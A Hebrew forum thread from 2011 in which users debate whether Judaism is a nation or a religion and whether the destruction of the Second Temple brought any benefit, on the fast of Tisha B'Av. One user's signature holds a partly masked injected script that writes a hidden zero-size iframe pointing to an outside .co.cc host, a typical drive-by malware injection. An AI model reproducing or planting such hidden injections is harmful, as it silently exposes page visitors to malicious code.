|
|
| נשלח ב-9/8/2011 02:29 |
|
| |
| tzvi11 כתב: |  | | מקס, לא זכיתי להבין מהיכן הפשיטות שהיהדות היא אומה ולא דת, אני מסכים שהיא לא רק דת, אבל בודאי לא רק אומה |
|
כי היא ראש בראשון אומה, והתורה היא צורך הפרטי של עמינו, אין לזה שום קשר לדת, ולכן אף פעם לא עסקנו בלעשות גרים או להפיץ את תורתינו באומות להפך ביום שתרגמו את התורה ביוונית כיום המבול אומרים חז"ל,
דת לא צריך ארץ. דת לא צריך אומה מהאומות, דת היא למכירה לכל דורש, דת היא אישי בינו לבין אלהיו, בדת אין ערבות חברתית, אין גלות וגאולה מארצו, דת זה משהו אחר לגמרי,
התורה היא תורה חברתית פרטית לאומה המשפחה שלנו, העבדות הקל במקדש היית גם מיסים לעובדי החברה כמו מורי התורה שהם הכהנים והלויים, תרומה ומעשרות ועוד היית כמו תשלום לעובדי המדינה כהיום שהם השופטים והשוטרים וכל מה שסביב,
אני לא רואה איפה יכולים לראות בתורה שהיהדות היא דת,
נכון שחכמינו הצליחו לשמר אותנו בגלות עם ה"הציבי לך ציוניים" אבל מזה לראות את האומה כדת ???
|
|
|
|
| נשלח ב-9/8/2011 02:31 |
|
| |
הר מיימוני,בתי כנסת בזמן הצקדש היו פזורים ברחבי הארץ,את תפילת שמונה עשרה תיקנו אנשי כנסת הגדולה ,גם בבית המקדש היה סמיכה ווידוי וכו ,הכוהנים היו בעיקר מבצעי עבודות עד שנחלקו אי שלוחי דידן או דרחמנא,שונה היה באמת עבודתו של כהן גדול ביום הכיפורים שהיה מתפלל על עם ישראל.ההתקשרות של בני ישראל על ידי קרבנות הוא לא מה שאנחנו מכירים ,היה עולה על עשה חטאת על שגגות ,הכהן עובד והבעלים מתכפרים , תורה תמיד היתה המצוה המרכזית,וכזה היה בשפע ,ר יוחנן מכל מקיימי העבודה והמצוות ,בחר דוקא את יבנה וחכמיה,על התקופה המלאה רוחניות הזאת ביקשו לקבל תשובה על מה אבדה הארץ ,ולא מצאו וכו,עד שבא הקבה וגילה שלא בירכו בתורה תחילה,
|
|
|
|
| נשלח ב-9/8/2011 02:54 |
|
| |
| מיימוני כתב: |  | אלי
אכן אני מניח שהתורה מבוססת על תכליות שאפשר להגשימן רק חלקית לפי ההתפתחות והרמה החינוכית, המוסרית, החברתית.
כפי שה' נתן מצות גאולת דם והתיר לקחת עבדים לפי שזה היה הכרחי לדורות ההם, כך גם מצוות אחרות. האם אין מי שמפרש כי המקדש והקרבנות ניתנו רק לאחר שעבדו עם ישראל את העגל?
לפיכך, התגברות על התלות הזו היא התקדמות.
וכמובן, לפי הדגם הרמבמיסטי, כל התרחקות מעבודה פיזיקלית היא התקדמות. אך לא רק לפי הרמב"ם, שההתקדמות אצלו היא בירור קוגניטיבי ופילוסופי. גם לפי השקפה שבוחנת את הכוונה והיא עיקר, כמו של המהר"ל, זו לדעתי התקדמות (אם כי לא אוכל לומר מה שכתבתי לדעת המהר"ל ורק את הרעיון העקרוני הזה לקחתי ממנו).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
כל הגישה, יכולה לעבוד רק לפי השיטה הרמבמיסטית. הבעיה הינה, (בדיוק כמו באשכול השכן) שרוב רובם של מעצבי הדת בשנים שלאחר מכן, לא דגלו בשיטה, והיו נגדה כמעט לחלוטין.
|
|
|
|
|
| נשלח ב-9/8/2011 10:15 |
|
| |
השאלה- אם בחורבן בית המקדש היה יתרון לעם ישראל? התשובה- ודאי ודאי. בזמן בית המקדש התורה הפרושית לא היתה פורחת ומתפתחת, ולא היתה מצליחה להחליף את תורת משה. השאלה האחרת- מה טוב ויתרון היה בקיום בית המקדש לעם ישראל מבחינה רוחנית? מבחינה מדינית היה לו יתרון גדול. בית המקדש שניהם הפכו למרכז השחיתות המוסרית וסיאוב כללכלי. לא רק שלא מילאה את יעודו, אלא בדיוק להפך.
|
|
|
|
| נשלח ב-9/8/2011 12:40 |
|
| |
אם המכה היא התרופה אז נשאלת השאלה על מה מתאבלים היום?
|
|
|
|
| נשלח ב-9/8/2011 12:43 |
|
| |
צענע מתאבלים כאילו יעני-צמים! מנהג אבותנו בידנו
|
|
|
|
| נשלח ב-9/8/2011 13:03 |
|
| |
וגם
|
|
|
|
| נשלח ב-9/8/2011 13:32 |
|
| |
| ירוחםשמ כתב: |  | צענע
מתאבלים כאילו יעני-צמים! מנהג אבותנו בידנו |
|
אז אבותינו לא חשבו שהמכה היא התרופה.
מעניין למה.
|
|
|
|
| נשלח ב-9/8/2011 13:50 |
|
| |
צענע מרוב צרות ואורך הגלות נשכחו מאבותינו הרבה הרבה דברים, בין היתר תרועת השופר -הגאולה-, והיכולת והרצון לחשוב.
|
|
|
|
| נשלח ב-9/8/2011 13:51 |
|
| |
| צענערענע כתב: |  | אם המכה היא התרופה אז נשאלת השאלה על מה מתאבלים היום?
|
|
ראשית כל צום קל.
שנית עניין הצום והאבל אינו על חורבן בית המקדש על זה כבר נאמר (שפך זעמו על עצים ואבנים) אלא על אובדן הלאומיות שלנו שהסמל הגדול ללאומיותנו היה בית המקדש. ובאמצעות הצום אנו יוצרים זכרון משותף בכדי שלא נשכח את מה שהיה ומה שהלך. וכך נוכל בעתיד לבנות שוב ולהחיות שוב את הלאומיות שלנו. באמצעות זה שלא כיבינו את נס הזיכרון.
|
|
|
|
| נשלח ב-9/8/2011 13:58 |
|
| |
רווח נוסף, אם יאמר שזהו רווח, אף שהוא טכני ואינו קשור במישרין לחורבן הבית הוא פיזור הסנהדרין הגדולה ומתן לגטימציה לדעות נוספות במסגרת היהדות האורטודקסית (זהו אמנם ביטוי אנרכוניסטי בהקשר הנוכחי, אך זו ההגדרה הממצה שיכולני לתת במצב המחקר המדעי היום על היהדות הפרושית מול הצדוקית בזמן חורבן הבית). בזכות חורבן הבית הרווחנו את עושר המנהגים והדעות, מכל גווני הקשת, מה שהופך את היהדות לדת מעניינת וצבעונית. היה משעמם בלי זה, לא כך?
|
|
|
|
| נשלח ב-9/8/2011 15:16 |
|
| |
אדג
אני מסכים עם חלק מדבריך. ואין לי כוח בינתים לפרט.
גם בפני האחרים אני מתנצל. עייפתי מלסדר דברים לוגית וחוששני מטעות...
אשתדל לענות מאוחר יותר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-9/8/2011 15:20 |
|
| |
עכשיו ראיתי שהחמצתי את הודעתו של ירוחםשמ שכתב את דברי, רק בצורה חריפה מעט יותר, וראויים הדברים להכתב שנית בצורתי שלי.
אחכה לפירוט (בצאת הצום, מן הסתם, כהאי דאמרינא בתלמודא דבבל דעד דאכיל לא פקיחא דעתיה.
|
|
|
|
| נשלח ב-9/8/2011 15:56 |
|
| |
"כי עכשיו בסוף הגלות האחרון שעכשיו גברה ההסתרה מאוד. והש"י נסתר מאיתנו מאוד מאוד בהסתרה שבתוך ההסתרה...ואין לנו במה להחיות את עצמינו כ"א ע"י הבקשה והחיפוש שאנו מחפשין ומבקשים איה מקום כבודו. ומצטערין ומתגעגעין לגאולת הנפש לשוב אליו יתברך באמת..".
(ליקוטי הלכות)
"וזה עיקר תקונו ועלייתו בבחינה ירידה תכלית העליה,
ואיה מקום כבודו בזה בעצמו הוא חוזר ועולה אל הכבוד העליון שהוא בחינת איה,
שמגודל הסתרתו והעלמו הוא מחיה מקומות הללו עכשיו..." (לקוטי מוהרן תנינא יב).
ר' נחמן מצייר לנו פה תמונה נועזת ושונה,
רוב העולם מפרש עלייה תכלית הירידה, אבל שימו לב שר' נחמן פה מהפך זאת.
הוא כותב הירידה היא תכליית העלייה, דהיינו כל פעם שאדם נמצא בפסגה הוא לקראת התכלית שהיא הירידה.
אני אסביר זאת, שיא הקשר שלנו אל הקב"ה הוא הגעגוע אליו, את פניו לא נוכל לראות.
במקום הנמוך שם אנו חשים בשיא חסרונו של הקב"ה ומתוך זה אנו בשיא הערגה אל האלוהי.
ניקח לדוגמא את תשעה באב, זהו היום בשנה שבו כל טיפת מים וחתיכת לחם מקבלים פרופורציות מבהילות,
דווקא במקום הכי נמוך ומוזנח מבחינת הגוף מתגלים עומק געגועיו לאוכל.
וזוהי נחמתנו בגלות, אנו מרגישים את עומר החסר- ומכאן דווקא את עומק הקרבה.
אך דומני, שכעת עם שובנו לא"י נפתחות בפנינו אפשרויות חדשות..
תוקן על ידי קנטו ב- 09/08/2011 16:01:06
 |
|
|
|
|
| נשלח ב-9/8/2011 16:32 |
|
| |
מיימוני,
אתה בהחלט צודק. חורבן בית שני עק"ב שנים לפני סיום האלף הרביעי, והמשכת השפעתו עד סיום תקופת התנאים (התנא האחרון הוא רב שנפטר בשנת ד' לאלף החמישי), חתמו את התקופה שנקראת בחז"ל אלפיים תורה. משם ואילך התחילה התקופה הנקראת אלפיים ימות המשיח, שאכן עניינן ואופיין שונה לחלוטין (ע"פ ההבחנות שהצבת).
|
|
|
|
|